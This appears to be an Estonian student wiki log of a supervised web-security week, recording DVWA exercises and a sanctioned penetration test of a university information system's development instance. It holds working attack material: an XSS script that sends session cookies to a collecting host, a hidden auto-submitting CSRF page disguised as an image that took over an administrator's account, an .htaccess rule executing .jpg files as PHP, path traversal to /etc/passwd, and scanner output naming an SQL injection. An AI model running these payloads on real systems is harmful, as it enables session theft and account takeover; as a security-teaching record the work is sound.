Internetist sai otsitud parimat Windowsi automaatskännerit ja selleks osutus:
Acunetix Web Vulnerability Scanner v. 8
http://www.acunetix.com/vulnerability-scanner/

Pärast programmi installimist tuli seadistada skännimine, valisime keskmie põhjalikkusega skänni.
Erinevalt teistest automaatskännidest sai sellel lihtsamalt seadistatud sisselogimine ja lisaks sai paika panna ka, et ta arvestaks välja Log out lingi.
Antud programm võimaldab skännida:
Cross-Site Scripting (XSS)
SQL Injection (blind test)
File inclusion
Code Execution
LDAP Injection
Cross Frame Scripting
SQL Injection (error msg. test)
CRLF Injection
Directory Travelsal
XPath Injection
URL Redirection
Application Error Message

Kuna skänner skännib väga põhjalikult ja teskeskonnal ei töötanud täsvõimsusel oli ping väga suur ja skänn tegi vähe päringuid tunnis siis oleks täisskänni ajaliselt paar päeva.

=== Urmo tegevus ===

Kasutan BackTrack 5 R2 64bit Gnome ja Samurai CD 0.9.9 operatsioonisüsteeme katsetamaks ja uurimaks erinevate veebilehtede turvariskide ära kasutamist.

Pandud tööle Samurai ja kasutatud Damm Vurnelable Web Application'i.

==== Brute Force (DVWA) ====
Käsitsi välja uuritud login andmed:
kasutajanimi: admin
parool: password

===== Fireforce plugin Firefoxis =====
Tekitatud sai ka password list faili pass.txt.

Kasutusel oli Firefox brauser, kuhu installisime plugin'a Fireforce.
Siin kasutasime Youtube õpetust: http://youtu.be/lmgMXhM01fY .

Panime kasutajanimeks "admin" ja paroolilahtris parema klõpsuga valisin Fireforce menüüst Library, ning laadisin talle pass.txt faili sisse.
Küsiti veel, et mis teksti veebilehelt peab otsima, kui sisselogimine on ebaõnnestunud.
Selleks sai sõna "incorrect".
Määrata ära tuli ka, et mitu päringut sekundis tehakse.
Panime 10 aga kuna veebileht ei jõua sekundis nii palju ennast kuvada.
Päringute tegemise kiirus vähem kui 1 päring/sekundis.

Töötavat tulemust me ei saanud, kuna õigest paroolist mindi üle pidevalt.
Kasutasime ka videos näidatud "@ DICTIONARY" teksti ühes lahtris ja siis plugin ei tahtnud üldse proovida ja lasi kõik katsed üle mingil põhjusel.

Kuna me seda lahendust ei saanud tööle, siis sai proovitud ka BurpSuite programmi.

===== Burpsuite v1.4 =====
Burpsuite v1.4 on Samurai WTF'il olemas juba sees ja saab kohe käima panna.
[[File:Bp2naide.jpg|200px|thumb|right|BurpSuite näidis screenshot UI'st]]

Programm on juba loomult keerulisem.
Burpsuite'iga tuleb panna käima proxy server localhost'is ja brauser määrata kasutama seda proxy serverit aadressil 127.0.0.1:8080.
Kui ligipääs on rünnatavale lehele on olemas, siis teha prooviks üks väär sisselogimine.
Läbi proxy serveri tuleb BurpSuite'ile kohale vastava veebilehe Header sisselogimise kohta.
Headeris tuleb payloadi positsioonid ära määrata, kuhu see hakkab nimekirja alusel igat sõna panema.
Payload'i positsioonideks Headeris on username ja password lahtrid ning nendesse jätta ainult 2 paragrahvi tähemärki.
Ründe stiiliks määrata Pitchfork.
Mõlema payloadi positioni kohta tuleb ära määrata sõnade listid, mida programm hakkab kasutama.
Optioniste alt tuleb üle kontrollida ka sõnad, mida jälgitakse ebaõnnestunud sisselogimiste korral ja lubaksid järgmisi katseid.
Kui listid sai ära määratud, siis sai panna menüüst käsu Intruder -> Start Attack, mis siis alustas rünnet.
Kahjuks ka see rünne ei toiminud teadmata põhjusel.
Proovitud sai ka lühemate nimekirjadega ja edutult.

Peale teise programmi kasutamist jõudsime järeldusele, et Brute Force ründest pole meil kasu ja ei aita eesmärki täita effektiivselt.
Dev-ÕISis on vastavad turvameetmed kasutusele võetud, mis takistab selle tegemist ehk avastamisel keelatakse 5-ks sisselogimine ära vastava teatega ja brute force programmidele ei tule vastavat sõna, mis tähendaks sisselogimise ebaõnnestumist ning annab valepositiivse.

Lõpptulemus: Arendusversioon ÕISist on ära turvatud BruteForce rünnete vastu sisselogimisel.

==== CSRF - Cross-site request forgery ====
Katsetamine toimub koos Taaviga.

Loome uue veebilehe, mis saadab aktiivse kasutaja alt käske edasi mõnele veebisaidile, mis usaldab autoriseeritud kasutajat.

Katse eesmärgiks on DVWA-s kasutaja parooli muutmine, niiet ta ise paneb meie veebilehel on oma praeguse parooli sisse ja Submit nupu vajutamisel saadetakse see koos peidetud väljadega (mis on varustatud uute paroolidega) DVWA parooli muutmise lehele ja tulemuseks on kasutaja muudetud parool.

Lõime uue faili - crosssite.txt

DVWA-s läksime lingile CSRF, kus saab sooritada parooli muutmist.
Võtsime lehe Source Code lahti
Otsisime üles paroolide formi koodi üles ja kopeerisime selle enda veebilehele.
Muutsime ära action väärtuse, DVWA veebilehe omaks, kus muudetakse paroole.
Current Password lahtri jätsime samaks.
Ülejäänud kahe uue passwordi fieldi type'iks määrasime "Hidden" ja value'deks "admin".
Salvestasime faili ja käivitasime selle.
Tuli ette ainult lahter Current Passwordi ja Submit nupuga.
Panime sisse tolle hetke parooli ning saatsime teele päringu ning saimegi DVWAlt vastuseks, et parool muudetud ehk parooliks sai hidden väljades määratud sõna ".

Lõpptulemus: Kasutaja salajane ja ootamatu paroolivahetus sai ära täidetud.

=== Taavi tegevus ===

Backtrack 5 R2 - parimate tööriistade ja meetodite uurimine et leida turvanõrkusi.

=== Matise tegevus ===
==== Reflected Cross Site Scripting (XSS) ====
<ul>
<li>Lehel on selline Form:</li>
[[Image:Xsstesting.jpg|Location="left"|Caption|]]
<br>Form väljastab : Hello „sisestatud nimi“
<li>Easy puhul:</li>
<li>Saab sisestada textboxi skripti:</li>
<script>
alert(document.cookie.match(/PHPSESSID=[^;\]+/));
</script>
<li>Eelnev skript toob ekraanile lihtsalt hetke sessioni ID.</li>
<li>Kui sellist asja on võimalik sisestada siis saab juba sellise skripti teha mis saadab kasutaja mingile sinu enda leheküljele kuhu on taha lisatud Session ID: </li>
<script>
this.document.location.href = „http://127.0.0.1/varastatud_sess_id/ + document.cookie.match(/PHPSESSID=[^;\]+/);
</script>
<li>Saab kohe enda veebiserveri logidest näha Session ID’d.
<br>Näide logist:</li>
/var/log/apache2/access.log
127.0.0.1 - - [27/Mar/2012:09:06:31 -0400] "GET /varastatud_sess_id/PHPSESSID=51dc79948ee4cd23e6f8160ef2b57945 HTTP/1.1" 404 404 "-" <br> "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.11) Gecko/20101013 Ubuntu/9.04 (jaunty) Firefox/3.6.11"
<li>Tuleb ründajal lisada endale uus cookie saabunud Session ID’ga ja peakski olema võimalik teise inimese sessioon üle võtta.</li>
</ul>

=== Sanderi tegevus ===
[[File:DVWA_upload.png|150px|thumb|DVWA Upload]]

SamuraiWTF kasutamine testimiseks: DVWA (Damn Vulnerable Web Application).
==== Faili üleslaadimine: madal tase ====
<ul>
<li><b>DVWA Security</b> määrata: Low -> Submit</li>
<li>Valida: Upload</li>
<li>Üles laadida saab suvalisi faile: *.php, *.html, *.jpg, .htaccess</li>
Üleslaetavasse *.php faili saab kirjutada php koodi:
<?php var_dump($_REQUEST, $_SERVER); ?>
<li>Minnes üleslaetava *.php faili asukohta veebilehitsejas http://dvwa/hackable/uploads/*.php käivitatakse skript ja tagastatakse kõik küsitav:</li>
esimeses massiivis "PHPSESSID" ("2b1ae19446cfde009664f18df51b6ec1") ja turvatase "security" ("low");
teises "HTTP_COOKIE", milles on eelnevadki andmed; asukoht "PATH", "SERVER_SOFTWARE", "SERVER_NAME",
"SERVER_ADDR" ("127.42.84.1"), "SERVER_PORT" ("80"), "REMOTE_ADDR" ("127.42.84.1"), "REMOTE_PORT" ("53425") jpm.
</ul>

==== Faili üleslaadimine: keskmine tase ====
<ul>
<li><b>DVWA Security</b> määrata: Medium -> Submit</li>
<li>Valida: Upload</li>
<li>Üles laadida ei saa näiteks järgnevates formaatides faile:</li>
.htaccess
.php .html .pdf
.gif .png .bmp
.svg .swf
.tif .tiff .exif
.raw .cgm
<li>Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)</li>
<li>Üleslaetavasse *.jpg faili saab kirjutada php koodi.</li>
<li>Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress:</li>
http://dvwa/hackable/uploads/*.jpg
<li>Skripti käivitamiseks tuleb kasutada "?page=" ja faili asukoht:</li>
http://dvwa/vulnerabilities/fi/?page=../../hackable/uploads/*.jpg
Kuvatakse php skripti tulemus.
Kommentaar: "?page=" kasutamine võetud menüüvalikust: <b>File Inclusion</b>
<li>"?page=" abil saab vaadata kasutajate nimesid:</li>
http://dvwa/vulnerabilities/fi/?page=../../../../../etc/passwd
<li>Paroole vaadata ei saa, selleks õigused puuduvad:</li>
http://dvwa/vulnerabilities/fi/?page=../../../../../etc/shadow
</ul>

==== Faili üleslaadimine: kõrge tase ====
<ul>
<li><b>DVWA Security</b> määrata: High -> Submit</li>
<li>Valida: Upload</li>
<li>Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)</li>
Üleslaetavasse *.jpg faili saab kirjutada php koodi.</li>
<li>Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress.</li>
<li>Skripti käivitamiseks ei piisa ka "?page=" kasutamisest. Igal juhul on vastus selline:</li>
ERROR: File not found!
<li>Kasutada tuleks kuueteistkümnendkoodi, mille saab moodustada näiteks sellel aadressil:</li>
http://www.motobit.com/util/base64-decoder-encoder.asp
<li>Moodustades loodud faili asukohast kood ja kasutades</li>
data:php/html;base64,aHR0cDovL2R2d2EvaGFja2FibGUvdXBsb2Fkcy91cGxvYWQyLmpwZw==
üritatakse seda arvutisse salvestada. Salvestamisel .part-nimelise faili, on selle sisuks samuti lihtsalt faili asukoht veebis:
http://dvwa/hackable/uploads/*.jpg
</ul>

== 3. päev ==

=== Alo tegevus ===
[[File:PDFHinneteleht.png|200px|thumb|right|Näide hinnetelehest]]
Kui testisime failide uploadimis võimalusi tuli idee testida ka failide allalaadimist.<br>
Faile saab alla laadida enda profiili all õppesooritustes.<br>
Seal on võimalik alla laadida nii .pdf kui ka .odt formaadis õppesooritusi.<br>
Allalaadimis Urli muutmisega oli võimalik alla laadida teiste kasutajate õpitulemusi.<br>
Õpitulemused sisaldasid lisaks tulemustele ka inimese isikukoodi.<br>
Kui oleks soovinud õpitulemusi alla laadida kindla kasutaja õpitulemusi oleks saanud õpilase id kätte tema profiili pildi id kaudu.<br>
Kuna see oli tõsine turvaauk ja õpilaste andmed on konfidentsiaalsed täiendati url accessi nii, et enam üks õpilane teise inimese andmetele ligi ei pääseks.<br>

=== Urmo tegevus ===
====Subgraph Vega ====
Subgraph Vega on beeta staadiumis olev vabavaraline veebiapplikatsioni nõrkuste skänner, proxy ja platvorm.
Selle tööriistaga annab välja otsida SQL injectionit võimaldavad kohad, Cross-Site-Scriptingut, URL injection jne võimaldavaid nõrkusi veebilehel.
Programm on Java põhine graafilise liidesega ja töötab Linux'i, OS X ja Windowsi peal.

[[File:Screenshot_vega1.png|200px|thumb|right|Subgraph Vega screenshot]]
Päeva alguses sai hakatud katsetama seda ÕISi arenduskeskkonna peal.

Alustasime uut skänni (Start New Scan).
Küsitakse URI, milleks andsime https://itcollege.dev.ois.ee ja Next.

Järgnevalt on vaja anda kätte sisselogitud kasutaja cookie ja vajadusel lisada kindlate linkide välistamise regullaar avaldised.

Me lisasime ainult küpsise (cookie) sisu:
<pre>
itcollege_OIS_SESSION_ID=sellecookiesisu1234563221
</pre>
ning Finish.

[[File:Screenshot_vega2.png|200px|thumb|right|Subgraph Vega screenshot ühe leitud nõrkusega]]
Järgnevalt ta hakkab skännima ette antud veebilehte ja kui küpsise info ning aadress on õige, siis ta suudab sisselogimisest mööda saada ilusti ja saab uurima hakata, kus võimalikud vead võivad olla. Tegutsemine võttis suhteliselt kaua aega (u. 30minutit).

Katkestasime skännimise ära, kui ta oli umbes 15000 objektist ära skänninud umbes 12000.

Selleks ajaks oli Vega leidnud kõrgema tasemega Cross Site Script'ingu nõrkusi 58, keskmise tasemega Absolute Path nõrkusi 2, ja lihtsalt informatsiooniks 6 tühja element Body nõrkust.

Uurides leitud Cross Site Scriptingu leitud nõrkusi, saime aru, et tegu on selliste aadressitega, milles veebilehed kasutavad aadressirealt saadud ID'sid ja parameetreid ära oma pealkirjades.
Õnneks parameetritega väljad olid veebilehel korralikult ära escape'itud ja saniteeritud, et suhteliselt võimatu oli saada mõnda scripti sinna sisse panna, et veebileht midagi teistmoodi teeks.

ID väljade osas aga ei olnud kaitstud üks link, mille avastas Alo ennem mind.

==== Wapiti ====
Proovisime ära ka Backtrack 5 R2 tööriista Wapiti.
(Koduleht: http://wapiti.sourceforge.net/)

Kahjuks ei saanud seda tööriista kasutada dev-ÕISi pihta, kuna see tööriist ei osanud HTTPS'iga midagi teha.

==== CSRF käsitsi rünne HTML/PHP/JAVASCRIPTiga====
=====1. katse - ÕISi keskkkonna keelevahetus =====
[[File:Keeleseaded.png|thumb|200px|right|ÕISi keeleseadete menüü]]

Päeva esimeses pooles sai avastatud, et dev-ÕISi kasutaja keskkonna keelt saab muuta, kui mõnelt väliselt veebilehelt saata vastav POST päring lingile, mis muudab keelte seadistust.

Võtsime dev-ÕIS'i Source Code'ist välja vastava formi osa ja panime eraldi html faili.
Koristasime mittevajaliku disaini koodi juurest ära.
Muutsime form'i action väärtust pannes olemasoleva ette https://itcollege.dev.ois.ee/ osa ehk oleks absoluutne aadress relatiivse asemel.
Teises fieldis, kus oli vaja määrata keele tähistus, mida saadetaks, panime väärtuseks "en" ehk inglise keelne keskkond tekiks.
Panime koodi enose veebiserverisse üles nimega ois.html.

Faili sisu:
<source lang="html4strict">
<form id="settingsForm" method="post" action="https://itcollege.dev.ois.ee/setting/edit?user_id=2198"
enctype="application/x-www-form-urlencoded">
<input type="hidden" AUTOCOMPLETE="off" name="default_language"value="en">
<br>
<input type="submit" value="Salvesta seaded" name="Savesettings">
</form>
</source>
Panime faili enda arvutis käima, tekkis vastav form ette, kus submit pannes päring jõudis õisi ja muudeti kogeselt ära keskkonna kasutaja keel.

Katsetas koodi enda konto peal Taavi.

=====2. katse - ÕIS'i kasutaja parooli muutmine =====

[[File:Salasona_ois.PNG|200px|thumb|right|Dev_OIS salasõna muutmisvorm]]
Otsustasime proovida, kas CSRF nõrkust annaks ära kasutada ka ÕISi administraatori pettes, kui saata talle pildi link, kus tegelikult taga jookseb HTML/JAVASCRIPT koos, mis saadab POST päringu salasõna muutmisega. Selle toimiseks oli eelduseks see, et rünnatav on ründamise hetkel juba dev-ÕISi sisselogitud.

Selle jaoks uurisime välja, kus asub dev-ÕIS'i kasutaja salasõna muutmise vorm ja kuhu saadetakse vormi sisu.
Vormilt võtsime lähtekoodist (Source Code) vastava koodi välja ja panime eraldi php faili.

Muutsime password ja password_check lahtrite väärtused järgnevaks: "test123" ehk kasutaja uus parool peale rünnakut.

Lahtrites muutsime user_id'd sisaldavad väärtused rünnatava kasutaja user_id vastu, mille saab kätte tudengite/vilistlaste/õppejõudude piltide aadressidelt kätte.

Kõik vormi lahtrite tüübid määrasime peidetud ehk "hidden", et poleks midagi näidata.

Kuna parooli muutmise formil on küljes ka continue parameeter, mis näitab seda, kuhu kasutaja viiakse peale parooli muutmist.
Selle muutsime väljalogimise lingiks, et peale POST päringu tegemist suunatakse kasutaja väljalogimise lehele.
Sellisel juhul ei tule ette teadet, et parooli just muudeti kuskil ja kasutaja enam ei saa oma vana parooliga sisse logida.

Lisasime CSS koodi Submit nupu ära peitmiseks.
JavaScript koodi, et kui leht on laetud, siis automaatselt vajutataks seda nähtamatut Submit nuppu, et brauser saadaks HTML POST päringu ÕISi poole teele.

Salvestasime faili ära kui "screen1.jpg" fail. Ohver arvab, et tegu on pildiga, kui saadame lingi ja seda veel usaldusväärse aadressi pealt.
Tegelikult kasutaja ei näe praegu ühtegi pilti ja suunatakse edasi.

Faili sisu:
<source lang="html4strict">
<html>
<head>
<style type="text/css">
#Setpassword{ width: 0px; height: 0px; border: none; padding: 0; margin: 0; }
</style>
</head>
<body>
<body onload="document.forms.setPasswordForm.submit();">
<form name="setPasswordForm" id="setPasswordForm"
action="https://itcollegedev.ois.ee/et/user/set-own-password?user_id=2227&continue=/auth/logout"
method="post">
<input type="hidden" name="user_id" value="2227" id="user_id" />
<input type="hidden" name="continue" value="%2Fet%2Fsetting%3Fuser_id%3D2227" id="continue" />
<input type="hidden" name="password" id="password" value="test123" />
<input type="hidden" name="password_check" id="password_check" value="test123" />
<input type="submit" name="Setpassword" id="Setpassword" value="Muuda salasõna" />
</form>
</body>
</html>
</source>

[[File:Admin_proof.PNG|200px|thumb|right|Ligisaadud adminpaneelile]]

Tegime uue faili htaccess.txt, kuhu panime kirja käsu, mis käivitaks php ja jpg faile kui php failidena.
<pre>
AddType application/x-httpd-php .php .jpg
</pre>

Laadisime mõlemad failid Enose veebiserverisse avalikult.

Tegime enda kontode peal katsed, et kõik toimiks nii nagu vaja ja ega probleeme ei teki.
Peale seda juhendaja Mart Manguse abiga saime ÕISi adminnile Valter Kunglale väikese test-rünnaku teha.
Mart Mangus üritas seletada, et hinnetelehel on midagi viga ja palus, et Valter vaataks asja üle.
Sellega saavutasime selle, et Valter logis dev-ÕISi sisse oma kontoga.
Valter ütles, et ta ei näe midagi viltu ja selle peale saatsime talle nii nimetatud screenshoti, mille taga oli tegelt meie koodiga screen1.jpg fail.
Kui see fail käivitati, siis Valter Kungla parool muudeti ära ja logiti süsteemist välja.
Tol hetkel, täpselt ennem väljalogimist ja ümbersuunamist, muutus tema parool meie pantud "test123"-ks ja me saime ligipääsu administraatori õigustes kontole.
Rünnak oli edukas.
[[File:Pass fixed.PNG|200px|thumb|right|Dev_OIS fixed]]

Andsime teada Valterile teada, et tegelikult tegime salajase ründe.
Suhteliselt koheselt oli Valteril see CSRF ründe vastu dev-ÕIS ära parandatud, kuna tal oli juba koodiparandus olemas aga lihtsalt rakendamata ja me tabasime ajaliselt viimase hetke ära, kus seda rünnet sai teha.
Peale parandust enam see rünne läbi ei läinud ja süsteem hõiskab vastu, et tegu on ründe või mõne bug'iga.

Kuna tegu oli ÕIS'i arendusversiooniga, siis oli serveris oli lubatud ka error_reporting, mis annab välja ka pildil oleva errorite jada.
Error Reporting on maha keeratud Live keskkonnas ja seal sellist pikka keerulist koodijada veateadetega ette ei tule ning saadetakse teade arendajatele automaatselt.

=== Taavi tegevus ===
===Burp suite===

Esimese asjane peale Burp suite käivitamist. Tabilt proxy ->intercept ->intercept off<br>
Järgnevalt seadistada proxy enda veebiprauserist (mõistlik panna localhost aadress 127.0.0.1 port 8080 ning lülitada sisse ka ssl proxy)<br>
Proxy -> options alt lülitada sisse proxy listner pordile 8080 .<br>
Ohvri valimine <br>
Valida intruder -> target ning sinna sisestada veebileht mida on plaanis uurida https lehe korral lülitada sisse ssl ning pordiks valida 443.<br>
Kui on tarvis lehte ka sisse logituna uurida siis tuleb seadistada järgmised parameetrid.<br>
Valida Options tab sealt sisse lülitada www authentication ning täita all olevad read.<br>site mida rünnatakse tema tüüp(üldiselt basic), login, parool ning valida add.
Kui on soov sooritada veebilehe sipderingi siis tuleb excludida ka logout käsud.<br>
Targer->scope -> exclude frome scope ja veenduda at välja on arvatud logout laused.<br>
Spideringi sisselülitamine <br>
Valida tab Spide ning sealt panna linnuke kasti spider running.<br>
Ning oledki valmis saama laheküljelt infot.<br>
Tööriistal on veel tohutu hulk seadistus võimalusi, aga kahjuks ajanappuse tõttu ei jõudnud nende kõikidega tutvuda.<br>
Tööriis ei ole mõeldud algajatele, kuid teda tundma õppides on võimailik sooritada keerukaid operatsioone. Suurim nõrkus sellel programmil on see, et ta otsing ei näita ära nõrkasid kohti veebilehel vaid need tuleb ise koodist ülesse otsida.

==Nessuse algkäivitamine==
Valida backtrackist vulnerability scannerite alt nessus ning edasi nessus register .<br> Täite ära vajalikud read veebilehel ning mailile saadetakse aktiveerimis kood.<br> Järgnevalt avada termnal ning sisestada käsk : /opt/nessus/bin/nessus –fetch –register **********(tärnide asemele meilile saadetud kood)<br>
Nüüd läheb aega kuni nessus updatedakse (ole valmis ootama võtab tükk aega.)<br>
Järgnevalt käivitada nessus user add ning sinna sisestada soovitav kasutajanimi nessusele, kui küsitakse kas admin konto siis sisestada y. Kõik on korras kui tuleb ette kiri user added.<br>
Järgnevalt valida nessus start.<br>
Et nessusesse siseneda veebibrauseri URL i kirjutada 127.0.0.1:8834
Siis avaneb leht kus tuleb vajutada lehe alaosas olevale lingile mis suunab https leheküljele.<br>
Antud tööriist ei ole just kõige sobilikum veebilehtede testimiseks.

=== Matise tegevus ===
==Väike upload tegevus, mis võiks olla teisiti==
Ajal mil on avatud stipendiumi taotlemine on võimalik uploadida üles dokumente, et anda lisainformatsiooni abitoetuse taotlemiseks.
Testimisel selgus, et hetkel üles on võimalik üles laadida ükskõik mis laiendiga faile.
Proovisime üles laadida:
<li>filmi
<li>exe
<li>jpm faile
<br>kõik läks läbi ja sai uploadida.
<br>Sellises kohas võiks olla süsteem tehtud <b>whitelisti</b> põhimõttel,
<br>et lubatud oleks ainult:
<li>.doc
<li>.docx
<li>.pdf

=== Sanderi tegevus ===
[[File:W3af skanner.png|150px|thumb|w3af skänni seaded]]
Backtarcki keskkonnas sai testitud programmi w3af.

==== Backtrack: w3af ====
[[File:Basic HTTP Auth.png|150px|thumb|w3af Basic HTTP Auth]]
[[File:ÕISi küpsis.png|150px|thumb|Mozilla Firefox küpsis]]
[[File:W3af_Cookie.png|150px|thumb|w3af Cookie]]
Võimalik kätte saada SSL Certificate.
Aadressiribalt leitud sisselogimis-aadressiga sisse logimine ei õnnestunud:
https://itcollege.dev.ois.ee/auth/login?continue=/auth/login?
username=<font color="red">KASUTAJANIMI</font>&continue=&Login=Logi sisse&pw=<font color="red">PAROOL</font>
Programmi sisestatud andmetega ka mitte:
Configuration -> HTTP Config -> Basic HTTP Authentication:
basicAuthUser: <font color="red">KASUTAJANIMI</font>
basicAuthPass: <font color="red">PAROOL</font>
basicAuthDomain: http://itcollege.dev.ois.ee
Mozilla Firefoxi küpsis õnnestus luua Töölauale hetkel sisse logitud sessiooni ID-ga. Programmi küpsise sisestamine:
Configuration -> HTTP Config -> Cookies
cookieJarFile: /root/Desktop/<font color="red">ois_cookie.txt</font>
Seda loodud sessiooni ID-ga küpsist kasutada algul ei õnnestunud. Ilmselt oli midagi valesti. Õige on:
# Netscape HTTP Cookie File
.dev.ois.ee TRUE / FALSE 1731510001 itcollege_OIS_SESSION_ID <font color="red">870aqllryuw3cmf6cv8ellha03</font>
Esimene rida on nõutav! Teiste tähendused:
domain - The domain that created and that can read the variable.
flag - A TRUE/FALSE value indicating if all machines within a given domain can access the variable.
This value is set automatically by the browser, depending on the value you set for domain.
path - The path within the domain that the variable is valid for.
secure - A TRUE/FALSE value indicating if a secure connection with the domain is needed to access the variable.
expiration - The UNIX time that the variable will expire on.
name - The name of the variable.
value - The value of the variable.
Küpsis on leitav Mozilla Firefoxis peale itcollege.dev.ois.ee-s oma kasutajaga sisse logimist:
Edit -> Preferences -> Privacy -> History -> remove individual cookies
Search: itcollege.dev.ois.ee
Leitud valiku all Cookie Name: itcollege_OIS_SESSION_ID

Skänneerimine:
<ul>
<li>The page language is: en</li>
<li>The URL: "https://itcollege.dev.ois.ee/" has a "<form>" element with auto-complete enabled.</li>
<li>A comment with the string "<p>tunne end kui koolis</p>" was found in: "https://itcollege.dev.ois.ee/".</li>
<li>Found a form login. The action of the form is: "https://itcollege.dev.ois.ee/auth/login".</li>
The username field to be used is: "username".
The password field to be used is: "pw".
<li><font color="red">Found authentication credentials to: "https://itcollege.dev.ois.ee/auth/login". A correct user and password combination is: Administrador/6666666</font></li>
Antud kasutaja ja parooliga sisse ei saanud.
<li>The URL: "https://itcollege.dev.ois.ee/" returned a response that may contain a "SHA1" hash. The hash is: "c7b39896de5f296b5a44c2dfcd9f0600b2cf424d". This is uncommon and requires human verification.</li>
Taolisi ja MD5 hashiga ridu leiti 355. Kõik vajavad inimese kontrolli.
<li>The URL: "https://itcollege.dev.ois.ee/" sent these cookies:</li>
itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; path=/
itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; Path=/
<li>The SMTP settings in emailReport plugin seem to be incorrect. Original error: "[Errno 111] Connection refused".</li>
Kui tuleb see veateade, siis skänn katkeb.
<li><font color="red">The following scripts allow an attacker to send POST data as query string data (this makes XSRF easier to exploit):</font></li>
The URL: https://itcollege.dev.ois.ee/auth/openid-login is vulnerable to cross site request forgery.
It allows the attacker to exchange the method from POST to GET when sending data to the server.
The URL: https://itcollege.dev.ois.ee/auth/id-login is vulnerable to cross site request forgery.
It allows the attacker to exchange the method from POST to GET when sending data to the server.
<li><font color="red">SQL injection in a Unknown database was found at: "https://itcollege.dev.ois.ee/auth/login", using HTTP method POST.</font></li>
The sent post-data was: "username=John8212&security_key_sis_global=d'z"0&Login=Logi%20sisse&continue=56&pw=FrAmE30.".
The modified parameter was "security_key_sis_global". This vulnerability was found in the request with id 390.
<li>Leidis ka otsirobotitele mõeldud faili: https://itcollege.dev.ois.ee/robots.txt</li>
User-agent: *
Disallow: /
Allow: /curriculum
Allow: /subject
Allow: /diploma
Allow: /schedule/ical
</ul>

== 4. päev - Presentatsiooni tegemine ja esitlemine ==

Koostasime presentatsiooni ja esitlemine.

[[Media:Security_team_presentation.ppt]]

== Arvamused intensiivõppe nädala kohta ==

Sander: Õppisime erinevaid testprogramme ja testkeskkondi kasutama, mida varem kunagi kasutanud polnud. Suutsime avastada nii mõnegi vea, mida varem avastatud ei olnud. Usun, et ÕIS on nüüd kasvõi veidigi turvalisem. Soovitan ka teistele tudengitele intensiivõppenädalal osalemist, kuna valides õige teema võib olla päris huvitav tegeleda millegagi, mida varem teinud pole või mida tegelikult lihtsalt ei ole lubatud teha.

== Tegijad ==
Alo Konno A21

Urmo Lihten A21

Taavi Podžuks A22

Matis Alliksoo A22

Sander Saarm A22

== Juhendajad ==
Mart Mangus

Margus Ernits

Valter Kungla

File:Insecure Cryptographic Storage.pdf

2012-03-30T13:41:51Z

Mallikso:

File:Security Misconfiguration.pdf

2012-03-30T13:41:37Z

Mallikso:

Security team

2012-03-30T11:37:35Z

Mallikso: /* Väike upload tegevus, mis võiks olla teisiti */

== 1. päev - Materjalidega tutvumine ==

<h1>POOLELI!</h1>

https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project

A1: Injection - Urmo
A2: Cross-Site Scripting (XSS) - Alo
A3: Broken Authentication and Session Management - Sander
A4: Insecure Direct Object References - Alo
A5: Cross-Site Request Forgery (CSRF) - Taavi
A6: Security Misconfiguration - Matis
A7: Insecure Cryptographic Storage - Matis
A8: Failure to Restrict URL Access - Urmo
A9: Insufficient Transport Layer Protection - Taavi
A10: Unvalidated Redirects and Forwards - Sander

Sanderi konspekt: [[Media:Ois_materjal.pdf]] <br>
Urmo esitlus: [[Media:Injection-Failure_URL_access.ppt]] <br>
Taavi esitlus [[Meida: A9.pdf]] <br>
Taavi esitlus [[Meida: A5.pdf]] <br>
Alo Esitlus: [[Media:Cross-site_scripting_(XSS).ppt]] <br>

== 2. päev - Nõrkuste ja rünnete tundmaõppimine ja katsetamine==
===Security Team tegevusplaan===
1. Päev
1.1 Tutvuda OWASP’iga.
1.2 Tutvuda OWASP’i aasta 2010 TOP 10 veebirakenduse turvariskidega.
1.3 Iga grupiliige teeb 2 turvariski kohta väikese tutvustava ettekande.
2. Päev
2.1 Esitada tiimi tegevusplaan.
2.2 Tutvuda turvariskidega natuke põhjalikumalt.
2.3 Tutvuda ja katsetada erinevaid pen-testingu tööriistasid – BackTrack ja SamuraiCD võimalused.
2.4 Täiendada esimese päeva ettekannet.
3. Päev
3.1 Alustada dev-ÕISi peal turvariskide leidmist – samuti iga grupi liige testib/katsetab 2 turvariski ekspluateerimist.
3.2 Saadud tulemuste dokumenteerimine.
4. Päev
4.1 Saadud tulemuste esitlemine ettekandega
5. Päev
5.1 Tulemuste parandamine wiki’s.

=== Alo tegevus ===

http://www.acunetix.com/support/vulnerability-checks.htm
http://projects.webappsec.org/w/page/13246920/Cross%20Site%20Scripting
http://wiki.developerforce.com/page/Secure_Coding_Cross_Site_Scripting
http://www.youtube.com/watch?v=SG1cvGQ971g
http://www.isecom.org/research.html
http://evuln.com/tools/
http://sectools.org/tag/web-scanners/
http://www.webresourcesdepot.com/10-free-web-application-security-testing-tools/
http://www.acunetix.com/vulnerability-scanner/getting-started.htm

Internetist sai otsitud parimat Windowsi automaatskännerit ja selleks osutus:
Acunetix Web Vulnerability Scanner v. 8
http://www.acunetix.com/vulnerability-scanner/

Pärast programmi installimist tuli seadistada skännimine, valisime keskmie põhjalikkusega skänni.
Erinevalt teistest automaatskännidest sai sellel lihtsamalt seadistatud sisselogimine ja lisaks sai paika panna ka, et ta arvestaks välja Log out lingi.
Antud programm võimaldab skännida:
Cross-Site Scripting (XSS)
SQL Injection (blind test)
File inclusion
Code Execution
LDAP Injection
Cross Frame Scripting
SQL Injection (error msg. test)
CRLF Injection
Directory Travelsal
XPath Injection
URL Redirection
Application Error Message

Kuna skänner skännib väga põhjalikult ja teskeskonnal ei töötanud täsvõimsusel oli ping väga suur ja skänn tegi vähe päringuid tunnis siis oleks täisskänni ajaliselt paar päeva.

=== Urmo tegevus ===

Kasutan BackTrack 5 R2 64bit Gnome ja Samurai CD 0.9.9 operatsioonisüsteeme katsetamaks ja uurimaks erinevate veebilehtede turvariskide ära kasutamist.

Pandud tööle Samurai ja kasutatud Damm Vurnelable Web Application'i.

==== Brute Force (DVWA) ====
Käsitsi välja uuritud login andmed:
kasutajanimi: admin
parool: password

